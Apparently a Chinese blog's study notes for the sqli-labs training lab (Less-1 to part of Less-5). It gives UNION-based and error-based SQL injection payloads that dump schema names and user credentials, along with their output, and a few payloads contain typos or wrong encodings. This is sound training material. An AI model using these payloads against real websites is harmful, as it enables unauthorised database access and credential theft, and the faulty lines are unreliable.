Sqli labs通关笔记

【1】Less-1

【1.1】首先判断是否是数字型:

   ?id=1 and 1=1 
   ?id =1 and 1=2

发现不会出现错误,说明不是整形注入。

【1.2】判断是否字符型

?id=1'

此时出错:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 

说明这里存在一个注入点,而且看出错信息为:'1'' LIMIT 0,1
从这里看出多出来的1'就是我们刚才的输入,所以问题在于'没有闭合。
这里可以猜测sql语句为:

$id = $_GET['id']
$query = "select name, password from xxx where id= '$id' LIMIT 0,1"

所以可以用以下输入来进行注入:

?id=1' --+
?id=1' and 1=1 --+

测试成功,说明猜测正确。
这里注意: --+是为了注释掉后面的语句。+会被转化为空格,所以最终就是--
这里也可以使用:


--# 不过这个不能直接使用,需要将#编码 也就是 --%22

【1.3】判断表有几列

?id=1' order by 1 --+

使用order by 1 一直测试这里测试到order by 4出现错误:

 Unknown column '4' in 'order clause' 

说明表中有3列。

【1.4】判断回显位置

?id=-1' union selec 1,2,3 --+

此时可以看到2,3被显示出来。所以可以用sql语句替换2,3列来达到注入目的。
这里使用id=-1是因为语句中可能有LIMIT 0,1这样的子句或者页面只输出一条信息。

【1.5】爆库名

?id=-1' union select 1, database(), version() --+

显示为:

Welcome    Dhakkan
Your Login name:security
Your Password:5.7.30-0ubuntu0.18.04.1

上面得到数据库名为security,版本名为5.7.30-0ubuntu0.18.04.1。
继续搜集信息:

?id=-1' union select 1, user(), @@datadir

得到:

Welcome    Dhakkan
Your Login name:root@localhost
Your Password:/var/lib/mysql/ 

user为 root@localhost
数据路径为: /var/lib/mysql/
继续

?id=-1' union select 1, @@version_compile_os, @@basedir

得到:

Welcome    Dhakkan
Your Login name:Linux
Your Password:/usr/ 

所以目标机器操作系统为Linux,sql安装在/usr/目录下。
这里总结一下,一些常见的mysql函数和变量:

system_user():系统用户名
user():用户名
current_user:当前用户名
session_user():连接数据库的用户名
database():数据库名
version():数据库版本
load_file():读取本地文件函数
@@datadir:读取数据库路径
@@basedir:mysql安装路径
@@version_compile_os:操作系统

【1.6】继续爆破数据库

?id=-1' union select 1, (select group_concat(schema_name) from information_schema.schemata), 3 --+

得到:

Welcome    Dhakkan
Your Login name:information_schema,challenges,dvwa,mysql,performance_schema,security,sys
Your Password:3

这里说明一下Mysql information_schema的一些用法:

#获取所有的数据库名
select schema_name from information_schema.schemata 
#获取所有的数据库名(会有重复的)
select table_schema from information_schema.tables 
# 得到某个数据库的所有表名
select table_name from information_schema.tables where table_schema = "某个数据库名" 
#得到某个数据库中某个表的所有列名
select column_name from information_schema.columns where table_schema = "某个数据库名" and table_name = "某个表名" 

(1)查看所有的数据库名

?id=-1' union select 1, (select group_concat(schema_name) from information_schema.schemata),3 --+

结果:

Welcome    Dhakkan
Your Login name:information_schema,challenges,dvwa,mysql,performance_schema,security,sys
Your Password:3 

(2)查看表名:

?id=-1' union select 1, (select group_concat(table_name) from information_schma.schemata where table_schema = 'security'),3 --+

由于【1.5】中已经获取到数据库名为security,所以这里我们可以获取到security数据库的所有表:

emails,referers,uagents,users

直接查看users表,查看它的列名:

?id=-1' union select 1, (select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'), 3 --+

此时得到user表的列名为:

username,password

查询所有的username, password:

?id=-1' union select 1, (select group_concat(username) from users), (select group_concat(password) from users) --+

此时得到:

所有的username:
Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Your Password:Dumb,I-kill-
所有的password:
Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

当然也可以这样一次性爆出:

?id=-1' union select 1, (select group_concat(concat_ws('=>', username, password) separator '|' ) from users), 3 --+

结果为:

Dumb=>Dumb|Angelina=>I-kill-you|Dummy=>p@ssword|secure=>crappy|stupid=>stupidity|superman=>genious|batman=>mob!le|admin=>admin|admin1=>admin1|admin2=>admin2|admin3=>admin3|dhakkan=>dumbo|admin4=>admin4

这样就获取到了数据库security中表users的所有内容。

【2】Less-2

?id=1' 

出错:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

可以看到这里接收的是整数数据。为了进一步确认,可以输入表达式确认:

?id=2-1  #和 ?id=1结果一致
?id=1 and 1=1 #输出正常
?id=1 and  1=0 #无输出

以上可以确定是整形注入。所以后面爆破库名/表名/列名/表内容可以这样:

?id=-1 union select 1, database(), version() #获取数据库名,版本信息
?id=-1 union select 1, (select group_concat(table_name) from information_schema.tables where table_schema = 'security'), 3 #获取security数据库中的所有表名
?id=-1 union select 1, (select group_concat(column_name) from information_schema.columns where table_name = 'users'), 3 #获取security数据库中users表的所有列
?id=-1 union select 1, (select group_concat(concat_ws('=>', username, password) separator ' ') from%20 users), 3 #获取security数据库中users表的所有username-passwod的内容。

Less-2 over

【3】Less-3

首先看看是否有注入点:

?id=1'

得到错误:

 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1 

分析可知输入1'后,是该字符串:

'1'')

猜测可能是这样的sql:

$id = $_GET['id'];
$sql = "select xxx from xxx where id = ('$id') LIMIT 0,1";

尝试构造注入,注意'以及)的闭合:

?id=1') --+

此时一切正常。说明我们的猜测正确。所有这里存在一个需要闭合')的注入点。
接下来就可以继续注入了:

#获取到表有几个字段
?id='1) order by 3 --+     
# 获取数据库名
?id=-1') union select 1, database(), version() --+    
#获取security数据库的所有表名
?id=-1') union select 1, (select group_concat(table_name) from information_schema.tables where table_schema = 'security' ), 3 --+      
#获取security数据库中users表的所有列
?id=-1' union select 1, (select group_concat(column_name) from information_schema.columns where table_name  = 'users'), 3 --+
#爆破表内容
?id=-1' union select 1, (select group_concat(concat_ws('=>',username, password) separator ' ') from users), 3 --+

【4】Less-4

首先查看是否有注入点:

?id=1'
?id=1 and 1=1
?id=1 and 1=0
?id=1')

以上尝试均没有异常。
继续尝试:

?id=1"

此次出错:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

分析可知出错为:

"1"")

所以可知是")没有闭合。
猜测sql语句为:

$id = $_GET['id'];
$sql = "select xxx from xxx where id = ("$id") LIMIT 0,1";

构造")闭合:

?id=1") --+

此时结果正常,所以猜测正确。这里有一个注入点。接下来就可以【2】【3】类似的方法爆破数据库了。

【5】Less-5

首先还是先找注入点:

?id=1'                #此时出现错误
?id=1'   --+        #此时正确
?id=1' order by 3 --+   #确定表有三列
?id=1' union select 1,2,3 --+    #此时发现没有回显点

这个课程中,没有回显点,所以就不能像【1】-【4】一样利用回显信息来进行注入调试。
首先观察一下上面order by 4时候的错误:

Unknown column '4' in 'order clause'

虽然数据库内容的信息不会回显,但是数据库的错误信息会回显。所以这里可以使用报错注入。
解释一下报错注入:就是人为的制造数据库错误。在数据库报错的同时,将数据库的错误信息呈现在错误结果中。

?id=1' union select 1, count(*), concat((select user()),  (floor(rand(0) * 2))) as x from information_schema.tables group by x --+ 

采用该方法爆出user():

Duplicate entry 'root@localhost1' for key ''

TBC

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 213,254评论 6 492
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,875评论 3 387
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 158,682评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,896评论 1 285
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,015评论 6 385
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,152评论 1 291
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,208评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,962评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,388评论 1 304
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,700评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,867评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,551评论 4 335
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,186评论 3 317
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,901评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,142评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,689评论 2 362
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,757评论 2 351